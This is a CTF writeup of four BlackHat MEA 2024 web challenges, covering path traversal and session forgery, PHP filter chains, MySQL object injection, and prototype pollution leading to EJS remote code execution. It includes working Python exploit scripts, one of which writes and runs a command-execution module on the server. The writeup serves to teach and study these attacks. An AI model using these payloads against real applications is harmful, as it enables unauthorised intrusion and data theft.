- Published on
BlackHat MEA 2024 Qualifications CTF Writeup
- Authors
- Name
- Amr Zaki
Hello there, this is Amr Zaki also known as z4ki
. I participated with my team 'Br00tf0rs3rs' in this year's BlackHat MEA Qualifications CTF and managed to solve all web challenges. It was pretty amusing and fun to do so let's dive right in.
Watermelon - Easy 120 points
We are provided with the source code, and it's only one python file with along with the docker files.
from flask import Flask, request, jsonify, session, send_file
from functools import wraps
from flask_sqlalchemy import SQLAlchemy
import os, secrets
from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SECRET_KEY'] = secrets.token_hex(20)
app.config['UPLOAD_FOLDER'] = 'files'
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)
class File(db.Model):
id = db.Column(db.Integer, primary_key=True)
filename = db.Column(db.String(255), nullable=False)
filepath = db.Column(db.String(255), nullable=False)
uploaded_at = db.Column(db.DateTime, nullable=False, default=db.func.current_timestamp())
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
user = db.relationship('User', backref=db.backref('files', lazy=True))
def create_admin_user():
admin_user = User.query.filter_by(username='admin').first()
if not admin_user:
admin_user = User(username='admin', password= secrets.token_hex(20))
db.session.add(admin_user)
db.session.commit()
print("Admin user created.")
else:
print("Admin user already exists.")
with app.app_context():
db.create_all()
create_admin_user()
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session:
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
return jsonify({"Error": "Unauthorized access"}), 401
return f(*args, **kwargs)
return decorated_function
@app.route('/')
def index():
return 'Welcome to my file sharing API'
@app.post("/register")
def register():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
if User.query.filter_by(username=username).first():
return jsonify({"Error": "Username already exists"}), 409
new_user = User(username=username, password=password)
db.session.add(new_user)
db.session.commit()
return jsonify({"Message": "User registered successfully"}), 201
@app.post("/login")
def login():
if not request.json or not "username" in request.json or not "password" in request.json:
return jsonify({"Error": "Please fill all fields"}), 400
username = request.json['username']
password = request.json['password']
user = User.query.filter_by(username=username, password=password).first()
if not user:
return jsonify({"Error": "Invalid username or password"}), 401
session['user_id'] = user.id
session['username'] = user.username
return jsonify({"Message": "Login successful"}), 200
@app.get('/profile')
@login_required
def profile():
return jsonify({"username": session['username'], "user_id": session['user_id']})
@app.get('/files')
@login_required
def list_files():
user_id = session.get('user_id')
files = File.query.filter_by(user_id=user_id).all()
file_list = [{"id": file.id, "filename": file.filename, "filepath": file.filepath, "uploaded_at": file.uploaded_at} for file in files]
return jsonify({"files": file_list}), 200
@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
if 'file' not in request.files:
return jsonify({"Error": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"Error": "No selected file"}), 400
user_id = session.get('user_id')
if file:
blocked = ["proc", "self", "environ", "env"]
filename = file.filename
if filename in blocked:
return jsonify({"Error":"Why?"})
user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
os.makedirs(user_dir, exist_ok=True)
file_path = os.path.join(user_dir, filename)
file.save(f"{user_dir}/{secure_filename(filename)}")
new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
db.session.add(new_file)
db.session.commit()
return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201
return jsonify({"Error": "File upload failed"}), 500
@app.route("/file/<int:file_id>", methods=["GET"])
@login_required
def view_file(file_id):
user_id = session.get('user_id')
print(user_id)
file = File.query.filter_by(id=file_id, user_id=user_id).first()
print(file)
if file is None:
return jsonify({"Error": "File not found or unauthorized access"}), 404
try:
return send_file(file.filepath, as_attachment=True)
except Exception as e:
return jsonify({"Error": str(e)}), 500
@app.get('/admin')
@admin_required
def admin():
return os.getenv("FLAG","BHFlagY{testing_flag}")
if __name__ == '__main__':
app.run(host='0.0.0.0')
Starting backwards, we need to get to the /admin
endpoint to get the flag or we can get it by reading the /proc/self/environ
file. So basically, we need to escalate our privileges to admin or have an LFI vulnerability. So let's start searching for a way to do either.
Looking at the Database model, there isn't a role set for users, only the unique username admin
differentiates the admin user from normal users with the function admin_required()
, and we can't create another account with the same name because of unique=True
in the User model.
Notice that the application is using flask session cookies, but with a random secret so we won't be able to crack it but if we can get that secret somehow, we would be able to forge the admin session token.
/profile
and /files
endpoints. Notice we don't have any files because we didn't upload any file yet.Since there isn't any HTML, I created an HTML form to upload a file to the application.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload Form</title>
</head>
<body>
<h1>Upload a File</h1>
<form action="http://127.0.0.1:5000/upload" method="post" enctype="multipart/form-data">
<label for="fileInput">Choose a file:</label>
<input type="file" id="fileInput" name="file" required>
<button type="submit">Upload</button>
</form>
</body>
</html>
/files
endpoint and getting the file id, which is 1 and then read it using /file/1
. Looking at the upload function code, we notice that the secure_filename
function is used on the filename
variable and not the file_path
. Also the function that reads the files, gets the file_path
from the database which isn't sanitized. So, we can use path traversal sequence to read the environ
file but that won't work, because environ is not readable. Instead we can read the instance source code in which we can find the secret for the token. Now we can forge the admin cookie and get the flag. Free Flag - Easy 110 points
I got the first blood on this challenge and it was a nice one! As alwayas we are provided with the application source code, this time it was php.
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Free Flag</title>
</head>
<body>
<?php
function isRateLimited($limitTime = 1) {
$ipAddress=$_SERVER['REMOTE_ADDR'];
$filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
$lastRequestTime = @file_get_contents($filename);
if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
return true;
}
file_put_contents($filename, time());
return false;
}
if(isset($_POST['file']))
{
if(isRateLimited())
{
die("Limited 1 req per second");
}
$file = $_POST['file'];
if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
{
die("catched");
}
else
{
echo file_get_contents($file);
}
}
?>
</body>
</html>
The code is quite simple, there is a rate limiting function of 1 request per second, and we can read any file that starts with <?php
OR <html
. The flag file is in /flag.txt
as stated in the provided entry-point.sh
file.
#!/bin/bash
echo "$DYN_FLAG" > /flag.txt
unset DYN_FLAG
source /etc/apache2/envvars
export APACHE_LOG_DIR=/tmp
(&>/dev/null /usr/local/bin/apache2-foreground)&
socat - TCP:127.0.0.1:9000,forever
Once I saw that our file must start with a specific sequence of bytes, i.e. <?php
I instantly thought of this awesome blog which explains the attack much more better than I would do.
The blog introduced a tool called wrapwrap
which creats a php filter chain that adds a suffix and a prefix to any file you want to read. Let's clone the tool and use it.
file
POST parameter, we get the flag easily. Notey - Medium 180 Points
This challenge was a lot of fun aswell, we were provided with 3 code files.
const express = require('express');
const bodyParser = require('body-parser');
const crypto=require('crypto');
var session = require('express-session');
const db = require('./database');
const middleware = require('./middlewares');
const app = express();
app.use(bodyParser.urlencoded({
extended: true
}))
app.use(session({
secret: crypto.randomBytes(32).toString("hex"),
resave: true,
saveUninitialized: true
}));
app.get('/',(req,res)=>{
res.send("Welcome")
})
app.get('/profile', middleware.auth, (req, res) => {
const username = req.session.username;
db.getNotesByUsername(username, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
res.json(notes);
});
});
app.get('/viewNote', middleware.auth, (req, res) => {
const { note_id,note_secret } = req.query;
if (note_id && note_secret){
db.getNoteById(note_id, note_secret, (err, notes) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
return res.json(notes);
});
}
else
{
return res.status(400).json({"Error":"Missing required data"});
}
});
app.post('/addNote', middleware.auth, middleware.addNote, (req, res) => {
const { content, note_secret } = req.body;
db.addNote(req.session.username, content, note_secret, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Note added successful' });
} else {
return res.status(409).json({ error: 'Something went wrong' });
}
});
});
app.post('/login', middleware.login, (req, res) => {
const { username, password } = req.body;
db.login_user(username, password, (err, results) => {
if (err) {
console.log(err);
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results.length > 0) {
req.session.username = username;
return res.json({ message: 'Login successful' });
} else {
return res.status(401).json({ error: 'Invalid username or password' });
}
});
});
app.post('/register', middleware.login, (req, res) => {
const { username, password } = req.body;
db.register_user(username, password, (err, results) => {
if (err) {
return res.status(500).json({ error: 'Internal Server Error' });
}
if (results) {
return res.json({ message: 'Registration successful' });
} else {
return res.status(409).json({ error: 'Username already exists' });
}
});
});
db.wait().then(() => {
db.insertAdminUserOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
db.insertAdminNoteOnce((err, results) => {
if (err) {
console.error('Error:', err);
} else {
app.listen(3000, () => {
console.log('Server started on http://localhost:3000');
});
}
});
}
});
});
const mysql = require('mysql');
const crypto=require('crypto');
const pool = mysql.createPool({
host: '127.0.0.1',
user: 'ctf',
password: 'redacted',
database: 'CTF',
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0
});
// One liner to wait a second
async function wait() {
await new Promise(r => setTimeout(r, 1000));
}
function insertAdminUserOnce(callback) {
const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';
const username = 'admin';
const password = crypto.randomBytes(32).toString("hex");
pool.query(checkUserQuery, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
const userCount = results[0].count;
if (userCount === 0) {
pool.query(insertUserQuery, [username, password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log(`Admin user inserted successfully with this passwored ${password}.`);
callback(null, results);
});
} else {
console.log('Admin user already exists. No insertion needed.');
callback(null, null);
}
});
}
function insertAdminNoteOnce(callback) {
const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"';
const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)';
const flag = process.env.DYN_FLAG || "placeholder";
const secret = crypto.randomBytes(32).toString("hex");
pool.query(checkNoteQuery, [], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
const NoteCount = results[0].count;
if (NoteCount === 0) {
pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log(`Admin Note inserted successfully with this secret ${secret}`);
callback(null, results);
});
} else {
console.log('Admin Note already exists. No insertion needed.');
callback(null, null);
}
});
}
function login_user(username,password,callback){
const query = 'Select * from users where username = ? and password = ?';
pool.query(query, [username,password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
function register_user(username, password, callback) {
const checkUserQuery = 'SELECT COUNT(*) AS count FROM users WHERE username = ?';
const insertUserQuery = 'INSERT INTO users (username, password) VALUES (?, ?)';
pool.query(checkUserQuery, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
const userCount = results[0].count;
if (userCount === 0) {
pool.query(insertUserQuery, [username, password], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
console.log('User registered successfully.');
callback(null, results);
});
} else {
console.log('Username already exists.');
callback(null, null);
}
});
}
function getNotesByUsername(username, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE username = ?';
pool.query(query, [username], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
function getNoteById(noteId, secret, callback) {
const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
console.log(noteId,secret);
pool.query(query, [noteId,secret], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
function addNote(username, content, secret, callback) {
const query = 'Insert into notes(username,secret,note)values(?,?,?)';
pool.query(query, [username, secret, content], (err, results) => {
if (err) {
console.error('Error executing query:', err);
callback(err, null);
return;
}
callback(null, results);
});
}
module.exports = {
getNotesByUsername, login_user, register_user, getNoteById, addNote, wait, insertAdminNoteOnce, insertAdminUserOnce
};
const auth = (req, res, next) => {
ssn = req.session
if (ssn.username) {
return next();
} else {
return res.status(401).send('Authentication required.');
}
};
const login = (req,res,next) =>{
const {username,password} = req.body;
if ( !username || ! password )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof username !== "string" || typeof password !== "string")
{
return res.status(400).send("Wrong data format");
}
next();
}
const addNote = (req,res,next) =>{
const { content, note_secret } = req.body;
if ( !content || ! note_secret )
{
return res.status(400).send("Please fill all fields");
}
else if(typeof content !== "string" || typeof note_secret !== "string")
{
return res.status(400).send("Wrong data format");
}
else if( !(content.length > 0 && content.length < 255) || !( note_secret.length >=8 && note_secret.length < 255) )
{
return res.status(400).send("Wrong data length");
}
next();
}
module.exports ={
auth, login, addNote
};
Starting backwards as alwayas, we want to read the admin Note. To do so, we need to either log in as admin, or provide the secret to the /viewNote
endpoint with the note id being 66 as stated in init.db
file
--
-- Database: `CTF`
--
CREATE DATABASE IF NOT EXISTS `CTF` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci;
USE `CTF`;
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
DROP TABLE IF EXISTS `users`;
CREATE TABLE IF NOT EXISTS `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL UNIQUE,
`password` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
CREATE TABLE IF NOT EXISTS `notes` (
`note_id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`secret` varchar(255) NOT NULL,
`note` varchar(255) NOT NULL,
PRIMARY KEY (`note_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
As we can see, the auth
middleware function is called almost on every endpoint. It only checks that the session cookie, has a username property, it doesn't care which username it is.
note_secret
query string.note_secret
as an array, to my surprise, something weird happend in my console. The error was very verbose, saying there were no column named test, so I tried to send a known column and it worked but nothing was returened. Back to the error we encountered, we could see the sql query used,SELECT note_id,username,note FROM notes WHERE note_id = '66' and secret = `test` = '3700fc182cc5e078f9f81f2296f96a6fca1b815965f22064e6e716d8cc144a12'
note_secret
query, gets treated as a column and is checked whether it equals the secret column or not. So if we sent the secret column itself, it would evaluate to true and if 2 variables are equals it evaluates to 1, so we will send 1 as the value of the query string. Boom! we could read the note, without knowing the secret. Trying this on the live instance, it doesn't work because it is jailed and the sessions are deleted within seconds, but we can solve this issue by writing the exploit in python code which is much faster than us.import requests
# URLs
url_instance = "http://abb46ee54d3d68550bd7f.playat.flagyard.com/"
url_local = "http://127.0.0.1:3000/"
# Data for the login request
data = {"username": "zaki", "password": "1234"}
requests.post(url_instance + "register", data=data)
# Create a session to reuse the connection
with requests.Session() as session:
# Login request to obtain the session cookie
login_req = session.post(url_instance + "login", data=data)
# Check if login was successful and cookie is present
if 'connect.sid' in login_req.cookies:
# Reuse session cookie for subsequent requests
sid = login_req.cookies['connect.sid']
cookie = {"connect.sid": sid}
# Profile request with reused session
profile_req = session.get(url_instance + "viewNote?note_id=66¬e_secret[secret]=1", cookies=cookie)
# Output the response text
print(profile_req.text)
else:
print("Login failed or no session cookie received.")
You may have to run the solve.py multiple times for it to retrun the flag
Fastest Delivery System - Hard 270 Points
For the last web challenge in this CTF, we were provided the source code as well.
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require("crypto");
const app = express();
const PORT = 3000;
// In-memory data storage
let users = {};
let orders = {};
let addresses = {};
// Inserting admin user
users['admin'] = { password: crypto.randomBytes(16).toString('hex'), orders: [], address: '' };
// Middleware
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');
app.use(session({
secret: "secret",
resave: false,
saveUninitialized: true
}));
// Routes
app.get('/', (req, res) => {
res.render('index', { user: req.session.user });
});
app.get('/login', (req, res) => {
res.render('login');
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];
if (user && user.password === password) {
req.session.user = { username };
res.redirect('/');
} else {
res.send('Invalid credentials. <a href="/login">Try again</a>.');
}
});
app.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/');
});
app.get('/register', (req, res) => {
res.render('register');
});
app.post('/register', (req, res) => {
const { username, password } = req.body;
if (Object.prototype.hasOwnProperty.call(users, username)) {
res.send('Username already exists. <a href="/register">Try a different username</a>.');
} else {
users[username] = { password, orders: [], address: '' };
req.session.user = { username };
res.redirect(`/address`);
}
});
app.get('/address', (req, res) => {
const { user } = req.session;
if (user && users[user.username]) {
res.render('address', { username: user.username });
} else {
res.redirect('/register');
}
});
app.post('/address', (req, res) => {
const { user } = req.session;
const { addressId, Fulladdress } = req.body;
if (user && users[user.username]) {
addresses[user.username][addressId] = Fulladdress;
users[user.username].address = addressId;
console.log(''.client);
console.log(''.escapeFunction);
res.redirect('/login');
} else {
res.redirect('/register');
}
});
app.get('/order', (req, res) => {
if (req.session.user) {
res.render('order');
} else {
res.redirect('/login');
}
});
app.post('/order', (req, res) => {
if (req.session.user) {
const { item, quantity } = req.body;
const orderId = `order-${Date.now()}`;
orders[orderId] = { item, quantity, username: req.session.user.username };
users[req.session.user.username].orders.push(orderId);
res.redirect('/');
} else {
res.redirect('/login');
}
});
app.get('/admin', (req, res) => {
if (req.session.user && req.session.user.username === 'admin') {
const allOrders = Object.keys(orders).map(orderId => ({
...orders[orderId],
orderId
}));
res.render('admin', { orders: allOrders });
} else {
res.redirect('/');
}
});
// Start server
app.listen(PORT, '0.0.0.0', () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
{
"name": "food-delivery-service",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.1",
"ejs":"^3.1.9",
"express-session":"^1.18.0"
}
}
# Use Node.js base image
FROM node:18
RUN apt-get update && apt-get install curl
# Set the working directory inside the container
WORKDIR /usr/src/app
# Copy package.json and package-lock.json to the working directory
COPY . ./
RUN echo "$FLAG" > '/tmp/flag_'$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt
RUN export FLAG='none'
RUN npm init -y
# Install the dependencies inside the container
RUN npm ci
# Expose the application port
EXPOSE 3000
# Command to run the application
CMD ["node", "app.js"]
We also have the views directory, but it isn't relevant.
As we can see the flag file is randomly generated, so it's obvious to us that we have to exploit a Remote Code Execution vulnerability. The first thing I did, was to search for the dependencies used and see if one of them has a recent RCE vulnerability, and there was!
According to Snyk the ejs < v3.1.7
are vulnerable to RCE, with the POC showing. Sadly our challenge is using version 3.1.9
so let's search more deeply.
After some searching I found this CVE with the POC. As stated in the blog post, we must have a Prototype Pollution vulnerability first in the application. So, let's see if we do.
Right away, the /address
POST route caught my eye
addresses[user.username][addressId] = Fulladdress;
__proto__
we have Prototype Pollution in the application. Let's test whether the PP is working first before we try the POC. And it works!So following the POC, I created a python script to solve the challenge, because the remote instance had a Jail setup like the previous challenge.
import requests as r, time
instance_url = "http://a1e28e54fa42ef0b56dea.playat.flagyard.com/"
# Register
data = {"username":"__proto__", "password":"123"}
req = r.post(instance_url + "register", data=data, allow_redirects=False)
sid = req.cookies['connect.sid']
cookie = {"connect.sid": sid}
# Pollute - 1
data = {"addressId":"client", "Fulladdress":"1"}
req = r.post(instance_url + "address", data=data, cookies=cookie, allow_redirects=False)
data = {"addressId":"escapeFunction", "Fulladdress":"process.mainModule.require('fs').writeFileSync('/tmp/zaki.js', 'function RCE(key){const result=process.mainModule.require(\"child_process\").execSync(`${key}`);throw new Error(`${result.toString()}`);}module.exports=RCE;')"}
time.sleep(0.05)
req = r.post(instance_url + "address", data=data, cookies=cookie, allow_redirects=False)
# Validate the pollution
req = r.get(instance_url, cookies=cookie, allow_redirects=False)
print(req.text)
# Pollute - 2
data = {"addressId":"escapeFunction", "Fulladdress":"process.mainModule.require('/tmp/zaki.js')('cat /tmp/flag*');"}
req = r.post(instance_url + "address", data=data, cookies=cookie, allow_redirects=False)
# Validate the pollution
req = r.get(instance_url, cookies=cookie, allow_redirects=False)
print(req.text)
You may have to run the solve.py multiple times for it to retrun the flag
That is it! It was so fun to do this CTF, and I learned a new thing or two. As always feedback is appreciated and don't hesistate to reach out!